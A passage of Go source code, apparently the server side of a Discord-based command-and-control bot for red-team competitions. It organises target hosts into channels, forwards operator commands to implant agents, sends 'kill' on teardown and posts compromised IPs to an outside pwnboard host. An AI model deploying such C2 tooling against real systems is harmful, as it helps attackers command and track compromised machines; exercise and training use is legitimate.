82 | os.Exit(0)
83 | }
84 |
85 | log.SetOutput(os.Stdout)
86 | log.Info("Target file: " + fileInputPtr)
87 |
88 | dg, err = discordgo.New("Bot " + util.BotToken)
89 | if err != nil {
90 | log.Error("error creating Discord session,", err)
91 | return
92 | }
93 | log.Info("Bot Connected")
94 | }
95 |
96 | // Parsing the input csv file and creates a list that will used in other parts of the code
97 | func parseCSV(csvName string) (map[string]Target, []string, []string, []string) {
98 | var list = make(map[string]Target)
99 | f, err := os.Open(csvName)
100 | if err != nil {
101 | panic(err)
102 | }
103 | s := bufio.NewScanner(f)
104 | teamnum := []string{}
105 | hostnameList := []string{}
106 | osList := []string{}
107 | for s.Scan() {
108 | lineBuff := s.Bytes()
109 | v := strings.Split(string(lineBuff), ",")
110 | list[v[0]] = Target{
111 | ip: v[0],
112 | teamstring: v[1],
113 | hostname: v[2],
114 | ostype: v[3],
115 | }
116 | teamnum = append(teamnum, v[1])
117 | hostnameList = append(hostnameList, v[2])
118 | osList = append(osList, v[3])
119 | }
120 | return list, teamnum, hostnameList, osList
121 | }
122 |
123 | func assignRoleToChannel(dg *discordgo.Session, channel *discordgo.Channel) {
124 | log.Info("Assigning roles begin.......")
125 | permissionOverwriteList := []*discordgo.PermissionOverwrite{}
126 | g, err := dg.Guild(util.ServerID)
127 | if err != nil {
128 | log.Error("Something broke ", err)
129 | return
130 | }
131 |
132 | availbleRoles := g.Roles // Roles already created and listed from discord
133 | for _, value := range targetMap {
134 | if value.ip == channel.Name || value.hostname == channel.Name || value.ostype == channel.Name {
135 | for _, role := range availbleRoles {
136 | if value.teamstring == role.Name || value.hostname == role.Name || value.ostype == role.Name {
137 | println("Found role: ", role.Name)
138 | println(channel.Name + " should be assigned " + role.Name)
139 | permissionOverwriteList = append(permissionOverwriteList, &discordgo.PermissionOverwrite{ID: role.ID})
140 | log.Info("Assigning " + role.Name + " to " + channel.Name)
141 | dg.ChannelEditComplex(channel.ID, &discordgo.ChannelEdit{PermissionOverwrites: permissionOverwriteList})
142 | }
143 | }
144 | }
145 | }
146 |
147 | log.Info("Assigning roles ended.......")
148 | }
149 |
150 | // Create/Delete Roles for each target
151 | func createOrDeleteRoles(dg *discordgo.Session, create bool) {
152 | log.Info("Creating Roles....")
153 | g, err := dg.Guild(util.ServerID)
154 | if err != nil {
155 | log.Error("Something broke ", err)
156 | return
157 | }
158 |
159 | potentialRole := []string{} // Roles to be created
160 | availbleRoles := g.Roles // Roles already created and listed from discord
161 |
162 | for _, host := range targetMap {
163 | potentialRole = append(potentialRole, host.hostname)
164 | potentialRole = append(potentialRole, host.teamstring)
165 | potentialRole = append(potentialRole, host.ostype)
166 | }
167 |
168 | // New list without duplicates
169 | rolesToCreate := util.RemoveDuplicatesValues(potentialRole) // Roles to be created
170 |
171 | if !create { // We want to delete the roles
172 | for _, role := range availbleRoles {
173 | for _, roleToDelete := range potentialRole {
174 | log.Info("Deleting " + role.Name)
175 | if roleToDelete == role.Name || role.Name == "new role" {
176 | dg.GuildRoleDelete(util.ServerID, role.ID)
177 | break
178 | }
179 | }
180 | }
181 | } else {
182 | tmpAvailbleRole := []string{} //This is getting the role name(string) rather the role struct
183 | for _, i := range availbleRoles {
184 | tmpAvailbleRole = append(tmpAvailbleRole, i.Name)
185 | }
186 |
187 | for _, role := range rolesToCreate {
188 | // Color Fix: Thank Fred
189 | checkRole := util.Find(tmpAvailbleRole, role)
190 | if checkRole {
191 | return
192 | }
193 |
194 | var colorInRGB randomcolor.RGBColor = randomcolor.GetRandomColorInRgb()
195 | roleColorHex := fmt.Sprintf("%.2x%.2x%.2x", colorInRGB.Red, colorInRGB.Green, colorInRGB.Blue)
196 | roleColorInt64, err := strconv.ParseInt(roleColorHex, 16, 64)
197 | if err != nil {
198 | log.Error(err)
199 | }
200 | roleColorInt := int(roleColorInt64)
201 |
202 | log.Info("Creating " + role + " role with color RGB: " + strconv.Itoa(roleColorInt))
203 | newRole, err := dg.GuildRoleCreate(util.ServerID)
204 | if err != nil {
205 | log.Error(err)
206 | }
207 | // Editing the role template
208 | _, err = dg.GuildRoleEdit(util.ServerID, newRole.ID, role, roleColorInt, false, 171429441, true)
209 | if err != nil {
210 | log.Error(err)
211 | }
212 | }
213 | }
214 | log.Info("Creating Roles Ended........")
215 | }
216 |
217 | // This function organizes the targets to their respective categories(team01, team02 and so on)
218 | func cleanChannels(dg *discordgo.Session, targetFile string) {
219 | log.Info("Start Clean")
220 | checkChannels, _ := dg.GuildChannels(util.ServerID)
221 | for _, catName := range teams {
222 | groupExixsts := false
223 | for _, channelCheck := range checkChannels {
224 | if channelCheck.Name == catName {
225 | groupExixsts = true
226 | log.Warn("Category already exist")
227 | break
228 | }
229 | }
230 | if !groupExixsts {
231 | log.Info("Creating non-Existing group")
232 | newChan, _ := dg.GuildChannelCreate(util.ServerID, catName, 4)
233 | checkChannels = append(checkChannels, newChan)
234 | }
235 | }
236 |
237 | var channelName2ID = make(map[string]string)
238 | channels, _ := dg.GuildChannels(util.ServerID)
239 | for _, channel := range channels {
240 | if _, ok := channelName2ID[channel.Name]; !ok {
241 | channelName2ID[channel.Name] = channel.ID
242 | }
243 | }
244 |
245 | // TODO Check the last message here and move to archived category
246 | for _, channel := range channels {
247 | assignRoleToChannel(dg, channel)
248 | if _, ok := channelName2ID[channel.Name]; !ok {
249 | channelName2ID[channel.Name] = channel.ID
250 | }
251 | if target, ok := targetMap[channel.Name]; ok {
252 | if group_id, ok := channelName2ID[target.teamstring]; ok {
253 | dg.ChannelEditComplex(channel.ID, &discordgo.ChannelEdit{ParentID: group_id, Name: target.hostname})
254 | }
255 | }
256 | }
257 | log.Info("End Clean")
258 | }
259 |
260 | func main() {
261 | targetMap, teams, hostnameList, osList = parseCSV(fileInputPtr)
262 |
263 | createOrDeleteRoles(dg, true)
264 |
265 | cleanChannels(dg, fileInputPtr)
266 |
267 | dg.AddHandler(guimessageCreater)
268 | dg.AddHandler(slashCommandHandler)
269 |
270 | // Open a websocket connection to Discord and begin listening.
271 | err = dg.Open()
272 | if err != nil {
273 | return
274 | }
275 |
276 | // Register slash commands
277 | for _, v := range commands {
278 | _, err := dg.ApplicationCommandCreate(dg.State.User.ID, util.ServerID, v)
279 | if err != nil {
280 | log.Panicf("Cannot create '%v' command: %v", v.Name, err)
281 | }
282 | }
283 |
284 | // go util.UpdateStats(statRecords)
285 |
286 | // Wait here until CTRL-C or other term signal is received.
287 | sc := make(chan os.Signal, 1)
288 | signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, syscall.SIGTERM)
289 | <-sc
290 |
291 | // Cleanly close down the Discord session.
292 | dg.Close()
293 | }
294 |
295 | // updatepwnBoard sends a post request to pwnboard with the IP
296 | // Request is done every 15 seconds
297 | // ip: Victim's IP
298 | func updatepwnBoard(ip string) {
299 | url := "http://pwnboard.win/generic"
300 |
301 | data := PwnBoard{
302 | IPs: ip,
303 | Type: "DiscordG0",
304 | }
305 |
306 | // Marshal the data
307 | sendit, err := json.Marshal(data)
308 | if err != nil {
309 | return
310 | }
311 |
312 | // Send the post to pwnboard
313 | resp, err := http.Post(url, "application/json", bytes.NewBuffer(sendit))
314 | if err != nil {
315 | return
316 | }
317 |
318 | defer resp.Body.Close()
319 | }
320 |
321 | func guimessageCreater(dg *discordgo.Session, message *discordgo.MessageCreate) {
322 | if strings.HasPrefix(message.Content, "!heartbeat") {
323 | agent_ip_address := strings.Split(message.Content, " ")[1]
324 | updatepwnBoard(agent_ip_address)
325 | statRecords[0] = statRecords[0] + 1 // TODO
326 | statRecords[1] = statRecords[1] + 1 // TODO
327 | }
328 |
329 | if message.Author.ID == dg.State.User.ID {
330 | return
331 | }
332 |
333 | if message.Content == "export" {
334 | names := []string{}
335 | channels, _ := dg.GuildChannels(message.GuildID)
336 | for _, channel := range channels {
337 | names = append(names, channel.Name)
338 | }
339 | dg.ChannelMessageSend(message.ChannelID, "```"+strings.Join(names, "\n")+"```")
340 | }
341 |
342 | if message.Content == "clean" {
343 | cleanChannels(dg, fileInputPtr)
344 | dg.ChannelMessageSend(message.ChannelID, "Cleaned")
345 |
346 | // statRecords[2] = statRecords[2] + 1
347 |
348 | // TODO - Check for dead channels based on the last !heartbeat timestamp
349 | // REMINDER: Message also has timestamp which can be used to remove dead channels
350 | // Might be useful channel struct value: lastmessageid
351 |
352 | //
353 | }
354 |
355 | if message.Content == "delcomp" {
356 | channels, _ := dg.GuildChannels(util.ServerID)
357 |
358 | log.Info("Looking at the channels")
359 | for _, channel := range channels {
360 | if channel.Type == discordgo.ChannelTypeGuildText {
361 | for _, hostname := range hostnameList {
362 | if strings.ToLower(hostname) == channel.Name {
363 | // Sending kill command to bot before deleting channel
364 | dg.ChannelMessageSend(channel.ID, "kill")
365 | log.Info("Deleting channel: " + channel.Name)
366 | _, err := dg.ChannelDelete(channel.ID)
367 | if err != nil {
368 | println(err)
369 | }
370 | break
371 | }
372 | }
373 | }
374 | }
375 |
376 | println()
377 | log.Info("Looking at the category")
378 | for _, channel := range channels {
379 | if channel.Type == discordgo.ChannelTypeGuildCategory {
380 | for _, teamnum := range teams {
381 | if teamnum == channel.Name {
382 | log.Info("Deleting category: " + channel.Name)
383 | _, err := dg.ChannelDelete(channel.ID)
384 | if err != nil {
385 | log.Error(err)
386 | }
387 | break
388 | }
389 |
390 | }
391 | }
392 | }
393 | println("Looking at roles")
394 | createOrDeleteRoles(dg, false)
395 | }
396 |
397 | // Responsible for mentioned roles
398 | // Is there a better way to do this???? --- Message me if you can think of something better
399 | channels, _ := dg.GuildChannels(util.ServerID)
400 | if len(message.MentionRoles) > 0 {
401 | log.Info(message.MentionRoles)
402 | for _, channel := range channels {
403 | // Loop through the mentioned roles
404 | run_command := []string{}
405 | for _, role := range message.MentionRoles {
406 | println(role)
407 | // Loop through the channels
408 | // Loop through channel's Permission overwrites(roles)
409 | for _, overwrite := range channel.PermissionOverwrites {
410 | if role == overwrite.ID {
411 | log.Info(channel.Name, " has role ", overwrite.ID)
412 | run_command = append(run_command, role)
413 | }
414 | }
415 | if len(run_command) == len(message.MentionRoles) {
416 | dg.ChannelMessageSend(channel.ID, message.Content)
417 | }
418 | }
419 | }
420 | }
421 | }
422 |
423 | func slashCommandHandler(dg *discordgo.Session, i *discordgo.InteractionCreate) {
424 | if i.Type != discordgo.InteractionApplicationCommand {
425 | return
426 | }
427 |
428 | data := i.ApplicationCommandData()
429 | log.Info(data.Name)
430 | switch data.Name {
431 | case "stats":
432 | log.Info("Getting stats")
433 | dg.InteractionRespond(i.Interaction, &discordgo.InteractionResponse{
434 | Type: discordgo.InteractionResponseChannelMessageWithSource,
435 | Data: &discordgo.InteractionResponseData{
436 | Content: "Getting you some stats\n Total number of heartbeats: " + strconv.Itoa(heartbeatCounter) + " \nNumber of alive/dead agents: ",
437 | },
438 | })
439 | case "archive":
440 | log.Info("Archive dead channels")
441 | fmt.Printf("What: %v", statRecords)
442 | case "delcomp":
443 | log.Info("Deleting Channels")
444 | }
445 | }
446 |
--------------------------------------------------------------------------------